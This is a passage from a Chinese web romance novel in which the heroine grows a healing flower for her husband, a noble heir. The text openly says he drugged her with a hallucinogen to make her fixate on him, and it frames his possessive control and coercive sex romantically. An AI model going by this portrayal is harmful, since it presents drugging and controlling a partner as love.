“什么!紫昙?”年近半百的孙大夫鬼叫一声,根本不在乎所谓的银子,急哄哄地就往屋子里冲。 这时的正房已经被玉蘅带领侍女们收拾整齐,孙大夫一进门,眼珠子就粘在了那朵紫色的花苞上。 久久无法移开。 “老天爷待世子当如亲子。”得知娇贵稀少的紫昙被一个小姑娘养在陶罐里面罕见地生芽开花,孙大夫大为震惊,同时更感慨崔世子的好运,“夫人是上天让世子遇到的贵人。” 他的眼中不乏羡慕,他年轻的时候怎么就没遇到这样全心全意为他的小姑娘。别说为他种出紫昙,便是紫藤也心满意足! 崔伯翀漫不经心地嗯了一声,又故作矜持地笑,“我之前便说过,能够娶她为妻,是我的荣幸。” 对,是你的荣幸,可嫁给你未必是这小姑娘的幸运。 孙大夫在心中腹诽,好似给人喂幻药不是你做的。 “不是,我不是贵人,”被人接连夸奖,薛含桃臊得慌,赶紧说是世子先救了她和阿凶的命,“世子才是真正的贵人。” 上天让她遇到世子得以活了下来,她终于让种子开出花,也将世子留在了世间。 薛含桃忽然想到这一点,呼吸微乱,眼神也茫然,神明已经留下来了,那自己接下来要做什么,又该往哪个方向努力。 世子说过,要她成为他的夫人。 可是,她现在不是吗?陛下赐了婚,她就是世子夫人。 “紫昙需等到明日完全开花时取下来,最好用玉盒存放。现在,世子便可派人去儋州将我的父亲请过来了,他老人家得知这个好消息,想必比我还要高兴。还有夫人,到时父亲定然会请教夫人如何养好此花,”孙大夫滔滔不绝地说个不停,发现薛含桃心不在焉的模样,语气一顿,“夫人若是累了,其实吃安神药比补汤效果更好。” “……我不累,只是肚子饿了,想吃满香楼的芙蓉汤饼。”薛含桃知道孙大夫和世子仍有话要说,她强迫自己松开男人的手臂,忽然又强调了一句,“我有银子给孙大夫。” 她并非一无是处,变得好看,能识字能作画,还可以赚钱给他买吃食。 所以,即便身体痊愈,继续做回高高在上的神明,可不可以仍旧喜欢她,爱着她。 “我让罗承武去买。”此时,崔伯翀没有发现她心中的忐忑,今天的他得到的足够多,尚等着消化。 “可是我还想向封大嫂他们拜年,若是一直不来往,关系会慢慢变淡。”薛含桃搅了搅手指头,说回来时给崔世子买他爱吃的鲋鱼。 “……好。”崔伯翀忍了又忍,最终同意了她出府。 “快些回来。”他不后悔对桃子的磋磨,笑着轻轻抚弄她的头发。 薛含桃险一些将自己的脸颊也放在他的掌心蹭来蹭去,但是不行,她本能地认为自己应该立刻去到一个没有世子的地方。 不可以太黏人,她很不对劲。 薛含桃掐着手心,几乎一步一回头地走了出去,每一次回头发现他都在注视自己,她控制不住喜悦,低声唤他的名字。 世子,夫君,崔伯翀。 “夫人还是应该吃几副安神药,有了这朵紫昙花,世子再活二十年起码不是问题,不需要对夫人如此啊。”孙大夫知道薛含桃为何不对劲,她喝下幻药又被迫面对无数的崔世子,便好似中了蛊,一辈子再不会忘记他。 所谓的安神药可以消弭她这一段时间深刻的记忆,让她慢慢地恢复正常。 闻言,崔伯翀漠然置之,时刻不能离开他的桃子多么可爱,独属于他一 个人。 他的身体和皮囊会逐渐变好,但一颗心和沸腾的血液再也无法消停。 “我绝不允许再有任何意外发生。” 崔伯翀平静地看向劝他的孙大夫,神色和煦,“过不久,还要请孙大夫再开副调养的药。” 他的旧伤痊愈,那她也可以生下他的孩子了。 无须再顾忌—— 起初,薛含桃往远离他的方向走去,步伐十分艰难,无数次她的心中都有一个声音阻止她,让她立刻返回。 那个声音告诉她,只有在他的身边,她才可以安心,感觉到快乐与幸福。 但薛含桃愣是闷头走到了府门处,她知道这么是不对的,没有谁离不开谁。 “小桃。” 忽然,身后有人在喊她,她急忙转过头,用眼睛追寻最想见到的身影。 “方大哥。”不是那个人,薛含桃稍微有些失望,不过很快,她的唇角扬起一个笑容。 “很久没见方大哥了,世子说你出府做事,很要紧的事吧,要到年前才可以回来。”她见到方振,没有觉得不自在,仍然是从前的模样。 “的确很要紧,不过世子的事更重要,我娘一收到信就急着让我回来。小桃,这些天,你受委屈了。”方振替代了罗承武,驾着一辆马车送她去满香楼,此时看她的目光有歉意还有心疼。 “没有委屈,”薛含桃坐到了车辕的位置,第一时间告诉他世子的身体找到了药医治,“当时紫昙只长出叶子,我也不确定它能不能开花,方大哥选择续命的丹药一点没错。” 方振已经知道了这件事,颇有一种命运捉弄人的感觉,自嘲道,“当时你和我说捡回了种子,偏偏我没有听进去。” “即便世子和仪静县主在一起,我也会等到种子开花,将它送给世子。世子救过我的命,我早就想好用它向世子报恩。”薛含桃在说,无论方振作出哪种选择,最终都会得到一个好的结果。 世子活着,便是好的。 “小桃,你还记得当初你来国公府看我,在世子的书房,世子说的那句话吗?”她的安慰让方振沉默了片刻,问出了一个不相关的问题。 薛含桃老实摇头,世子说过好几句话,她不知道方大哥指的什么。 “世子说,亏了。”方振为她解惑。 薛含桃垂下脑袋,嗯了一声,记得,当然记得。 “小桃,你不要误会,那句话的意思是你亏了。世子并非是从前的他,比起从前,他性情变得冷漠刻薄,而且命不久矣,你嫁给他自然是你亏了。”方振和她说自己那时担心她知道真相后会生出怨恨,“现在世子虽然得到了生机,但这句话也许仍然不会变。” “小桃,你是一个很好的姑娘,遇到你是世子的幸运。” 方振如此说,薛含桃因为意想不到而呆住,原来方大哥是这么想她的啊。 她的唇瓣抿了又抿,小心翼翼地问,“那我不欠世子了,对吗?” “是,你不欠世子。” 方振回答。 薛含桃轻松地笑了起来,是啊,她不欠世子了,她和阿凶一人一狗两条命普普通通,刚好可以抵上世子尊贵的一条命。 所以,接下来,她不必再害怕。 她和世子是平等的两个人,可以对他表达自己的不满,可以冲着他发脾气,如果他不爱她了,她可以离开。 甚至,她也能不爱他。 薛含桃潜意识里记住了要为自己留一条退路,因为这世间有太多的事无法预料,不是努力,不是勇敢就可以跨越。 她不想再被灰溜溜地赶出去,带着续命丹药出现的仪静县主终究在她的心里留下了深深的痕迹。 她不欠世子了,如果将来真的出现了别的意外,她可以仰首挺胸地离开。 “方大哥,谢谢你和我说这些。”薛含桃感激地同他道谢,忽然一个停顿,她试探着询问马车可不可以再回去定国公府,“我想拿一个东西。” 方振点头折返,随口问她要拿什么。 “那,那个一点金子,我身上没带钱。” ……薛含桃鬼鬼祟祟把金锁链带上了马车,怕方振看到,用布紧紧包了起来,去到银铺里面,一口气换来了整整一千两银子。 当然,她放进荷包里面的大额是银票。 薛含桃第一次拥有这么多银子,快要高兴疯了,她去满香楼买了吃食,分给封大嫂他们一些,仍旧剩下很多。 回去的路上,她想起自己和封大嫂说的话。 她准备在附近买下一处带着几间屋子的小院,请封大嫂帮她留意。 “薛妹妹,莫非你过得…不好?”封大娘子无法理解她的行为,高门夫人,不住在那处处精致的庭院当中,难道还要搬到一两间逼仄的屋子里不成? “不是大嫂想的那样,”薛含桃急忙解释,自己希望有一点私产,“属于我的,有朝一日我想起就能住进来。” 封大娘子口头答应了她的请求,心中暗道还是过得不好吧。毕竟,那可是煌煌如日的崔世子,薛妹妹赢不到他的心也在情理之中。 薛含桃最后装作没看到她怜悯的眼神,匆匆地钻进马车的车厢里面。 已经很知足了,在世子还爱着她的时候,她会高高兴兴地度过每一天。 别人的话,别人的眼神都无需在意。 就算……有一天世子发现她的存在不再重要,她有了体面离开的权力,肯定比上一次要从容吧—— 回到东院。 很奇怪,明明心里这般想好了退路,当看到他的时候,薛含桃还是失去了冷静,仿佛乳鸟投林,飞快地跑入他的怀中。 “世子,不知道为什么,我好想你。”她是真的很疑惑,怎么回来的路上,她看到一个人不是他就觉得失望呢。 忍不住地想他,忍不住要和他待在一起,最好一直不分开。 “我不会是生病了吧?”薛含桃仰头望着他,即便她狠狠地掐自己的手心,下一刻她的眼中仍是带着痴缠。 “不,你没有生病,你只是特别地爱我。”崔伯翀的语气温柔而认真,听起来却仿佛一道命令。 必须遵循,无法改变。 第58章 第五十八章“郎君,您养过花吗?”…… 最近几日,果儿是既快乐又痛苦,硬生生地憋了一肚子话。 快乐当然是因为她家娘子回来了,娘子不仅和世子和好如初,还接受了自己身份的转变,愿意穿华服美衣,戴环佩珠络,看起来终于像世子夫人、贵妃妹妹、皇子姨母! 但果儿更加痛苦,因为她发现自己能见到娘子的机会变少了,娘子似乎每时每刻都藏在那五间正房里面,和世子如胶似漆地黏在一起。 世子只是离开一会儿,娘子的心情就明显低落。有一次用膳的时候,果儿震惊地看到娘子居然剩下了半碗米粥,里面可是放了娘子最爱的红枣与栗子。 要知道从前的娘子连一根蔫巴的青菜都会吃掉,而现在的娘子说她没胃口吃饱了。 果儿不由担心起来,吃的少怎么会长肉,不长肉瘦巴巴的看起来也没有精神。 她憋了又憋,眼看情况越来越不对,联合大黑狗将娘子“请”到了自己的屋子。 房门和窗户都关起来,果儿开门见山,带着熊心豹子胆问薛含桃是不是受了欺负。 方管事归来明显没有之前受重用,反而是她和玉蘅两个人更进了一步还升了月例银子,而且说起来现在东院的人都很沉默,果儿觉得只剩下了一种可能。 “娘子,是不是世子…欺负您?” “没有。”薛含桃摇头,觉得果儿在说梦话,世子怎么会欺负她。 “那娘子每日和世子在一起都做什么?”果儿半信半疑。 “世子在教我认人,还有理清那些人之间的关系。”薛含桃想到这里抬起手打了一个哈欠,那么多勋贵官吏皇室宗亲,好麻烦,她要记住他们之间的姻亲往来。 “认人…”果儿犹豫中,忽然眼睛瞅见一个地方,她迅速抓住娘子的衣袖,往上挽起,倒吸一口冷气。 只见衣袖下露出的一小片肌肤,苍白的底色上,叠加数不尽的斑斑红痕,一层又一层,淫靡艳丽,让果儿脸热,更让她心惊。 手臂是这样,那其他地方岂不是 更……半晌,果儿吞吞吐吐说,世子应该节制一些。 是了,那个方管事天天顿顿让世子喝药喝补汤,那可不就害了娘子? “……是我,”薛含桃听到果儿的话,羞愧地耷拉下脑袋,“我拉着世子不放。” “我觉得很快乐,很舒服,如果没有他,看不到他,这里会难过,会变空。”她捂着自己的胸口,愣了一下,不止如此,只要世子不在她的身边,她就会走神想到他。 “这样不好,我应该改掉,”薛含桃沉默了很久得出了一个答案,接着又苦恼起来,“怎么才能让我不再想起他?” 太过黏人总有一天会被厌倦的。 “娘子,不然,您和世子分开两日呢?”果儿提出了建议,说她们可以住回小院。 “…好。”薛含桃答应了,她从记忆中找到了一个场景,自己请封大嫂为自己留意房子。 夜里。 在完全躺进崔世子怀里的时候,她咕哝说自己想回原来的小院住两日。 “为什么想离开家住回那两间房?”崔伯翀表面上云淡风轻,可一只手似有若无地抚弄过一处,轻声问她。 “因为…喜欢热闹,这里太大太冷清了。”薛含桃找了一个理由,无意中说出了真实的感受,确实很空很安静。 在这里她好像嗅不到烟火气,没有烟火气,心里就不踏实。 “只是想要体验热闹,不需要住过去,我陪你在坊市走一走,与我在一起不好吗?”他侧过身,一双墨黑的眼睛几乎将她整个人吸进去。 薛含桃直勾勾地望着他,没有犹豫,含糊不清地说了一声好。 她怎么会不想和世子在一起呢?封大嫂和房子可以等到改日……- 第二天上午,他们一起离开,门口遇到了定国公崔羿等几人。 薛含桃多看了一眼,而崔世子恍若未觉,牵着她的手径直从定国公的身旁经过。 似乎有个人幸灾乐祸地笑了一声,还说了句什么,薛含桃听到了短命鬼三个字,生气地瞪回去。 世子不是短命鬼,他们才是,“蠢东西!” 听惯了崔伯翀对一些勋贵宗亲的评价,她学的很快,一句蠢东西脱口而出,声音还不小。 嘲笑的那人登时发怒,骂了一句下,贱的农家女。 “十一郎。”伴随着定国公的喝止声,一只刻有火纹的铁革袖带骤然击出。 大放厥词的曹十一郎直接仰面倒地,哇的一声,吐出一口血水两颗牙齿,人随后也晕厥过去。 “定国公管不好你的外侄,他便是这个下场。” 崔伯翀不慌不忙地将铁革收回在袖口,看也不看,牵着目不转睛的桃子离开。 定国公皱了皱眉,终究没有出声。方才那一刻,他似乎又见到了从前意气风发的长子。 唉。 “世子,这是什么?打人很厉害。”薛含桃的眼睛很亮,她说不清楚什么感受,世子的变化让她的心脏跳的更快。 “武将束袖用的铁革,喜欢就拿着玩。”崔伯翀将那只铁革解下递给她,他的一只袖子自然而然地散开,宽袖长袍,金冠玉带,看上去便是文人打扮。 而当铁革束起袖子,一紧一松,他告诉薛含桃这叫作文武袍。 “我等会儿再还给世子。”薛含桃认真地听着,眼中的亮光一直没有消失。 她的一只手被他牵着,一只手抚摸铁革的山火纹路,走了许久仍是兴致勃勃。 忽然她想到什么,试探地问,“十一郎,是安定曹氏的曹十一郎吗?” 定国公的外侄,理应是曹夫人的亲侄子,也姓曹。 “你何时知道的他?”崔伯翀揉捏着她的手指头,漫不经心地问道。 “王牙媪同我提起过,”薛含桃很激动,拉着他要去王牙媪的家中拜访,“王牙媪是住的同我很近的一个媒人,她家中立有世子的长生牌位,若能见到世子,必定高兴地不得了。” 有人恶毒地诅咒世子是短命鬼,但更多的人默默地向上天祈祷世子可以长生。 薛含桃想让他听到美好的祝愿,而恰好这里距离王牙媪的家中很近。 “三年过去,京中百姓大多已不再识得我。”崔伯翀的反应平淡,时间会埋葬一切,他早就被世人遗忘,许多次他出现在他们的面前,他们只记得一个崔世子的名字。 或许再三年过去,他们连这个名字也会忘记。 所以,他很执着地让他的桃子记住他,用尽卑劣的手段,至今不曾后悔。 “不,王牙媪一定记得世子。”薛含桃的态度坚定,她去王牙媪家中两次,每次都注意到世子的长生牌位前摆放着新鲜的瓜果点心,很整洁。 看到她期待的眼神,崔伯翀动了动嘴唇,未曾拒绝,生机勃勃的桃子太讨人喜欢。 他们一同敲响了王牙媪的家门。 “谁啊?”王牙媪的女儿有些不耐烦地来开门,这个时间快要用午膳了,上门太不知礼。 “郎君,娘子,快快请进。”发现敲门的人相貌不似凡人,王牙媪的女儿当即摆上了一副笑脸。 她没认出薛含桃,也不识得崔世子。 “姐姐,王牙媪在家吗?我之前受过她的帮忙,特来上门致谢。”薛含桃默默地将自己的荷包充作了谢礼,里面有四五两的碎银。 “在呢,小娘子太客气。”王牙媪的女儿接过荷包喜笑颜开,悄悄看了一眼贵气逼人的郎君,唤自家娘亲见客。 天嘞,她娘不会这么厉害吧?撮合成功了一对姻缘? “早就听到敲门声了,我看看是哪位……”王牙媪瞪大了眼睛,嗬嗬直喘气,她的女儿不明所以地看过来时,她轰然跪在了地上。 四十余岁的她,像跪拜庙里的菩萨一般虔诚,“那年,多谢崔世子救下我们母女的命。” 崔伯翀居高临下地望着这个普通又臃肿的妇人,凝固了许久,他亲手将她扶起来,“不,现在是我要谢谢你们。” 谢谢你们没有忘记他。 谢谢崔伯翀这个人没有被“死去”- “我说的对吧?王牙媪记得世子。”慢慢地走在人声鼎沸的街道上,薛含桃像偷吃了蜂蜜一般笑的两眼弯弯。 不止王牙媪,她也一直会记得他,刻骨铭心,永不忘记。 “你说得对,我没有死而是活过来了。” 崔伯翀闭上了眼睛,感受日光照在他的脸上,原来他一直都在人间。 “世子会长命百岁……”薛含桃小声地说,在有人路过她身边的时候,慌忙靠他更近一些。 崔伯翀的眼睛蓦然睁开,将她纳入自己的怀中,走动声,喧闹声,嬉笑声等等都被他隔开,他的世界仿佛只有她一个人。 “是我的桃子救了我。” “嗯,你的。” 薛含桃专注凝视着他,目光痴迷。 这一天,可能是因为走的太远,她很早就睡着了,安心地窝在有崔世子气息的被褥间,睡的昏天暗地。 方振端药过来的时候,他正为她解开头上的挽发。 崔伯翀听到脚步声,垂眸将厚实的帷幔放了下来,遮住里面的珍宝,再从屏风内走出去。 “下次,在门外等着。”他冷漠地瞟了方振一眼,对方振进来的举动很是不满。 “我之前说过请郎君不要再折磨自己,折磨小桃。”方振见状叹了一口气,这些天足够他弄清世子对小桃使的手段,“今天同样要说这句话。” 崔伯翀沉下脸,眼神阴翳冰冷。若不是方振鼓动,她上一次根本不会从他的身边离开。 “郎君,您养过花吗?” “小桃为郎君种出了紫昙,但她自己何尝不是一朵花?需要阳光与雨露,需要自由与泥土。放在金屋玉盆要她只看着你,再精心呵护的花也会枯萎。” 方振苦口婆心,崔伯翀却根本不理会他,直接转身回去了帷幔之内。 “爱人如养花么?”他轻笑,对方振的说法嗤之以鼻。 可是许久,望着疲惫睡去的桃子,崔伯翀亲了亲她的面颊, 低声说了一句对不起。 第59章 第五十九章“陪”他吃药。 一股浓重的药味在帷幔之内飘散,薛含桃皱了皱小脸,人还没彻底清醒,眼睛就急忙去寻找她梦中的人影。 第一时间没有找到人,她的眉眼下垂,看起来便有些委屈。 “世子,”她嘴里喊着他,从被褥间爬了下来,光着脚来不及穿鞋子,在屋中走动,“你在哪里?” “回去把鞋子穿好。”崔伯翀端着药碗出现在她的面前,先看到的是她光着的双脚,目光一暗。 比起从前,桃子学会的东西越来越多,也越来越有风情。明明她只是动动脚趾,踌躇地露出几分挣扎,却很轻易勾出他体内的欲念。 薛含桃的眼睛里面带着渴望,很想就这么跑过去撞入他的怀中,仿佛如此她才能缓解身心上的慌张。 没有挨着他,看不到他,每一处都难受。 可是不行,他手中还端着药汤,而且有两碗。 “有绒毯,我不穿鞋也不冷。”薛含桃低声说着,老实走回帷幔内穿上了鞋子。 崔伯翀将两碗药汤放在桌子上,她已经快速穿好鞋子,睁着眼悄悄地打量他。 她大多时候反应会有些木讷,但本能和之前的经历让她学会了察言观色,尤其对着崔世子。 薛含桃觉得现在的他似乎心情不大好,一言不发,沉沉地盯着药汤,难道是因为今日的药汤格外的苦涩? 但他面无表情的模样透着寒意,又像是生气,她开始拼命地回想自己有没有惹怒他。 应该…没有吧?薛含桃颇为犹豫,不敢朝他靠近。 “过来。” 在她胆怯的时候,崔伯翀仿佛背后也长了一双眼睛,快而准地锁定她的位置。 当与他四目相对,薛含桃心中所有的忐忑和不安立刻消失,转而生出浓浓的依赖,她挨着他坐下来。 “今日的药汤又多了一碗,世子喝的越多身体好的也就越快。”她担心世子厌倦了喝药,先是讨好地安抚他。 良药苦口,不对,只有一点点苦。 “要不要我尝一尝味道?”薛含桃想起了自己笨拙的老法子,试探着问他。 “嗯。”崔世子平静地答应了,并提前捻起了一块用蜂蜜制成的枣糕,等到她大口喝下了药汤之后,喂到她的唇边。 “不苦…甜的。”薛含桃吃着入口即化的蜂蜜枣糕,鼓着脸颊,含含糊糊地朝他笑。 似乎被她感染,崔伯翀端起一碗药汤全部喝完,神色淡然,也未用点心。 见她帮到了忙,薛含桃便很高兴,如果世子想要的是可以陪着他喝药的世子夫人,那她确实没有让他失望。 可是笑容未完,他要求她把剩下的药汤也喝掉。 “用了库房中珍藏的药材,你喝了可以养身,若是不喝直接倒掉,浪费。” 听到浪费二字,薛含桃干巴巴地笑了一声,认命将剩下的药汤喝下去。 为了压住那股苦涩,她连吃了两块点心,一颗酥糖。 “还是甜的吗?”他意味不明地问。 “甜,很甜。”薛含桃硬着头皮小声答他,点心和酥糖都很甜,没有撒谎。 “哦,很甜,既然如此,那你便接着喝,每日都不可懈怠。”不知是不是被她糊弄住还是故意为之,闻言,崔伯翀轻飘飘地笑了一声。 然后,他重重吻住她的唇角,汲取她口中说的甜意。 一只手掌扣住她的脚腕,来回抚弄揉捏。 薛含桃抵抗不住,忍不住呜呜了两声,正以为自己又要陷入迷乱的快乐之中,忽然间他的动作停了下来。 崔伯翀的额头抵在她的颈间,低低喘息,像是在克制忍耐。 桃子瑟缩了一下,面红耳热,身体的反应让她想要拉起他的手,但是她的脑中前所未有的清晰,不能再做了。 继续下去,她会被弄坏。 “世子,那个曹十一郎被你打掉了牙齿,会不会报复回来?”薛含桃开始思考,张了张嘴,提起记忆中发生的事情转移注意力。 安定曹氏,听起来似乎很有权势。 “……不会,我在他们的眼中是将死之人,一群臭虫也害怕我临死之前发疯将他们捏死。”埋首在她的颈间,崔伯翀的眼神很冷,黑漆漆的眼珠没有一丝活气。 曹家的人到这里,还有别的盘算。 “你若再遇到他们,离远一些,不要让他们的臭气沾到你的身上。”过一会儿,他轻声嘱咐。 薛含桃听话地点头,都城的世界果然复杂难懂,王牙媪还在她的面前夸过曹十一郎,原来他在世子的眼中只是一只臭虫。 “世子,那位庄园的主人…闻郎君是什么?”她好奇地询问。 “淫、虫。”崔伯翀毫不犹豫地回道。 闻言,薛含桃抿着唇,支支吾吾地说,“世子也要离他…闻郎君远一些。” 都不是好东西,都要远离。 她难得大胆了一回,对崔世子提出了同样的要求。 接着,薛含桃很是忐忑地等待他的反应,暗暗想他会不会生气。 结果,风平浪静,她听到他淡淡地说了一声好。 薛含桃顿时整个人呆住,原来她真的可以要求世子,是啊,她不欠他了! 莫名地,她的眼中绽放了光彩。 很亮,精神十足。 崔伯翀起身看到她难掩兴奋的小脸,看了两眼,将她的下颌捧起来,又接着亲,“这么高兴,原来药汤是真的不苦。” “该用膳了。”薛含桃慌忙捂住嘴巴不让他继续,她的肚子饿,想吃东西。 而且吃完后,她还想睡一觉- 在看到娘子香喷喷地吃完了一碗汤饼并两大块酱肉后,果儿终于放下了心,她觉得娘子又变回了熟悉的模样。 虽然娘子接下来又睡了很久,但醒过来的娘子精神奕奕,气血充足。 院中,日光正好,薛含桃一边给大黑狗梳理毛发,一边对着果儿感慨,“一定是世子的药汤起的作用,果然,有些药材珍贵自有他的道理。” 幸而她是陪着世子喝药,不然单凭她自己,“吃不起的,那得要多少银子啊?” 闻言,果儿满脸无奈地纠正她的想法,“世子是不是娘子的夫君,娘子还想要和世子和离吗?” 薛含桃快速摇头,当然不想。 “如果之后没有别的意外出现…”她低声嘟囔了一句话,桃子会在这个不属于她的世界扎根。 果儿没有听见,告诉她身为世子的夫人,她便是这里的女主人。 “娘子可以支配这里的一切,世子不反对,没有任何人可以提出异议。” 果儿想做风光的管事姑姑,撺掇薛含桃当起一个主母的职责,最好能将内宅掌控在她的手中。 “以后,即便后院有了别的女人,娘子的地位也无法被撼动。” 果儿说的头头是道,薛含桃不小心揪下了阿凶背上的一根毛发。 “再,再说吧,”她朝果儿笑笑,接着神色和语气微顿,“而且,我不会。” 薛含桃知道嫁到寻常的人家要做的事,但在这里,有方大哥有果儿有玉蘅,还有很多很多的人,他们各司其职未曾出现差错,自己管着他们? 她觉得,有些多余。 不过,果儿的话终究被她听了进去,陪世子喝完了药,到了晚上,薛含桃把自己洗的干干净净,穿着一件纱衣趴在了被褥上。 紫色的昙花已经被取下来放进了玉盒里面,只要等着孙医圣被请来,世子的身体就能恢复生机。 之后呢?她迷茫不已,不知道要做什么,管理内宅她根本不会,那就只剩下取悦她的夫君。 可他最近很奇怪,虽然喜欢 亲她但都不会做到最后。 今晚同样也是如此,哪怕她特意换上了最美丽的一件纱衣。 一颗桃子默默地将自己缩成一团,良久,忍不住问崔伯翀,“你身体好了以后,是不是要有别的女人了?” 第60章 第六十章做你自己。 “你是不是要有别的女人了?” 帷幔内,听到这句话,崔伯翀薄薄地抬起眼皮,眸光扫下来,似笑非笑,“谁和你说的?” 薛含桃努力地抓着被子往上拉,盖住她的半张脸,瓮声瓮气地出声,“没有谁和我说,我自己猜的。” 先是平淡而后就是厌倦,厌倦了之后自然会去找别的女人。 喜新厌旧的道理她明白,书中有写,也亲眼见过。 闻言,崔伯翀很轻的笑,眼底泛着凉意,只是用了几天的时间抹去强加在她身上的印记,她就敢胡思乱想。 他强行克制,让桃子恢复生机,却是做错了。 “如果我的身边真的有别的女人,你会怎么做?”他的目光冷冽,唇角仍噙着微笑。 看起来,只是一次很平常的询问。 她会怎么做啊?薛含桃的一颗心直直地往下沉,惶恐又难过,但她也在十分认真地思考。 “君既无情我便休,世子,我会继续祝愿你长命百岁平平安安,但我不会再喜欢你,陪着你了。” 她已经完成了她的承诺,也努力过勇敢过了,她不欠世子。 而且,“我有自己的路要走。” 薛含桃想到了自己漂在木盆中撑着她活下来的未来,能和阿凶吃饱饭,能有一间遮风挡雨的屋子,也许会遇到一个脾气很好笑容爽朗的男子,普通又平凡的生活下去。 但她遇到了世子,并且阴差阳错地嫁给了他,注定无法过寻常的生活。 “如果无法和离,就让我和阿凶住在一个院子里面吧。”她仔细想了想,试探地又加了一句话,“等到阿姐说可以和离了,我就和阿凶搬出去。” 世子说小皇子会是未来的天子,那他应该不会怪罪她这个姨母,阿姐肯定也会帮着她。 “听起来你早就想好了。”崔伯翀平静地点了下头,像是认同她的决定。 “嗯。”薛含桃垂下眼眸,表情失落而灰暗,傻乎乎地也跟着点头。 又是一声轻笑。 “痴心妄想,和我说过什么你不记得了?” 她到死都要留在他的身边,便是死后的躯体也是他的!这才过去多久,她竟敢变卦。 崔伯翀捏住一双手腕,慢条斯理地扯开盖住她下巴的被子,笑着说她太不老实,应该被狠狠的,重重的惩罚。 “可是,是你让我说的,”薛含桃急了,匆忙大声地为自己辩解,“不能惩罚我,我…我不欠世子,你有别的女人你先做错的。” 一个在乡野村子长大的农女也有自己的坚持,她不愿意和别人分享她的夫君。 即便底气不足,即便没有人理解她凭什么独占神明。 回应她的只有一声撕裂的轻响。 崔伯翀将轻纱缠绕在那双细白的手腕上,从眉到眼,都异常的冷淡,仿佛根本没有听到她大声争辩的话。 “你不能这么对我…”反驳的声音骤然变了语调,薛含桃的眼里涌出了泪光,久久说不出一句完整的话。 可她没有放弃,哪怕被烫到神志不清,仍旧露出一副委屈不解的表情。 薛含桃迷迷糊糊地想,是他先开口问自己,她才诚实说出来的。 但他根本没有回答她的问题。 “坏世子。”被捉弄到了极致,她憋闷地,小声地,骂他。 她骂人的时候,崔世子冷沉的眉眼总算软化,散漫地看她,他原本就不是个好人。 和她说过无数次了,偏她不信。 “胆子这么大,看来给你补身体的药汤可以停了。我要有别的女人的话,谁在你耳边乱说?” 薛含桃恍恍惚惚地摇头,不作声。 “不说?”他瞥来一眼,缓缓往下去,用了些力道。 呼吸骤然急促,薛含桃双目失神,举着自己的指尖咬住,“没有人,我只是觉得……你不喜欢我了,不想要我的取悦,我还能做什么呢?” 她说着,呆呆地垂下了头,“别的我都不会。” 她是个好学生可是没有人教她,他们的世界终究是不同的。 当她不再是他死前的执念,那么普通的她又能得到多久的喜欢,他总有一天会厌倦,转而喜欢上别的女子。 “你什么都无需去做。”崔伯翀伸手,抬起她的脑袋,眼中的凶光像是打量从哪里开始再将她吞下去一遍。 桃子只是桃子,老实巴交的,乖巧讨好的,会一遍遍祝愿他的,明知不可为仍勇敢冲到他身边的桃子。 让他疯狂地想要珍藏起来,只有他一个人看到,只有他一个人发现。 普普通通的她不仅可以分泌出世间最甘甜的汁水,垂头丧气担心失去他喜欢的模样也实在是……又软又娇。 身心满足的崔世子忍不住从胸腔之中发出一声喟叹,然后,他捂住她的半张小脸,几乎所有的重量全都压了上去。 好可爱,好想彻底吞下去成为他身体的一部分。 但是,现在的他是活着的,是真实的人,所以得收敛,得克制,得让她能够呼吸。 “呜……” 薛含桃拼命地咬着自己的指尖,根本无法呼吸,果肉软趴趴地全部成为汁水,可还是逃不过被捣碎的命运。 什么都不要做,只等着他吃掉自己吗? 她又摇头,手中便被强硬地塞进去一个东西,凭借着不算遥远的记忆,她慢慢地摸索出,这是一颗桃核。 沟沟壑壑,凹凸不平的桃核,薛含桃看不到,但她知道它一定很丑。 就和桃林村那些无人捡拾最后烂在泥土中的桃核一样。 “种下去,我要吃到它结出的桃子。”崔伯翀愉悦地告诉她,这就是她要做的事,为他种下一棵桃树,结出许多许多的桃子。 “……好。”有了目标,这一刻,薛含桃终于安下了心。 她要种出一棵桃树,变成更美味的桃子- 桃核不能种在小小的陶罐里面吧? 清醒过来的薛含桃拿着如她所想确实很丑的桃核犯了难,一直都在走神,思索着应该种在什么地方。 而且,种下的时间想来也有讲究。 她实在想不到,趁着世子去枢密院的机会,开口先后问了果儿和玉蘅。 “娘子想吃桃子了?那得再等两三个月,自己种多麻烦,一百文就能买一筐呢。”果儿想的很简单,种桃树不如买桃子吃。 而玉蘅则觉得可以买成树移栽到院中,“刚好花园还空着一块,夫人您若是喜欢,奴婢便吩咐人出去采买,明日便能种出一片桃林。” 薛含桃无奈拿出桃核给她们看,解释这是世子要她做的事,“若是种不活,可能我就做不了世子夫人了。” 果儿和玉蘅表示爱莫能助,两人奇怪地看了她一眼,纷纷捂着嘴忍笑走开。 留下她茫然地站在原地,手中拿着一颗桃核。 大黑狗估计也和她一样觉得这个丑巴巴的桃核很熟悉,很像家乡落了满地的东西,它摇了摇尾巴,无趣地趴到了草席上晒太阳。 最后还是方振靠谱,告诉她可以找一些农家的书来看,也许里面就有相关的内容。 “府里的几个庄子也有种桃树的,过两日再问问庄子的人。” “好,我先找一些书。”薛含桃很听他的话,有些不好意思地问他自己能不能去世子的书房。 以前有一段时间可以,但也有一段时间她被拒之门外。 “当然可以,府里你哪里都能去。”方振笑着表示她现在是世子的救命恩人,莫说书房,去祠堂都没问题,“反正将来都是世子的。” 说这话的时候,他的神色微许畅快。 于是,薛含桃带着大黑狗来到了世子的书房,大黑狗守着门,她独自 一人翻找,期待能发现与花木有关的书籍。 许久,想找的书没找到,她却看见了一本自己抄写卖出去的《诗经》。 做贼心虚一样,薛含桃将那本《诗经》藏了起来,尤其在听到阿凶低沉的叫声后,一本薄薄的书被她塞进了袖子的最深处。 “呦,伯翀,这狗比前些日子可胖了不少。”书房的门口传来一个人打趣的声音,还是个陌生人。 薛含桃的第一反应是想把自己和《诗经》一起藏起来,但是书房布局开阔,她四周都看过,一直没找到可以躲藏的地方。 “狄公眼利,不过阿凶既守在这里,内人应该在书房。” 崔世子不慌不忙地走进来,一眼看到模样紧张的女子,她脸颊泛红,颇有些手足无措。 “还不过来拜见长辈。”他眼中含笑,上前去牵住她的手,让她和狄恒见礼。 薛含桃愣愣地盯着对面老者两鬓的白发,憋了半晌,喊了一声,“狄将军。” 其实,若不是崔世子拉着她的手,她险些要跪下去。 狄恒的神情原本很和蔼,目光也是看小辈用的慈祥。但听到将军的称谓,他的眼神立刻变得锋锐难挡,“为什么这么喊老夫?” 自卸下兵权成为枢密使后,狄恒快要十年没听过人喊他将军。 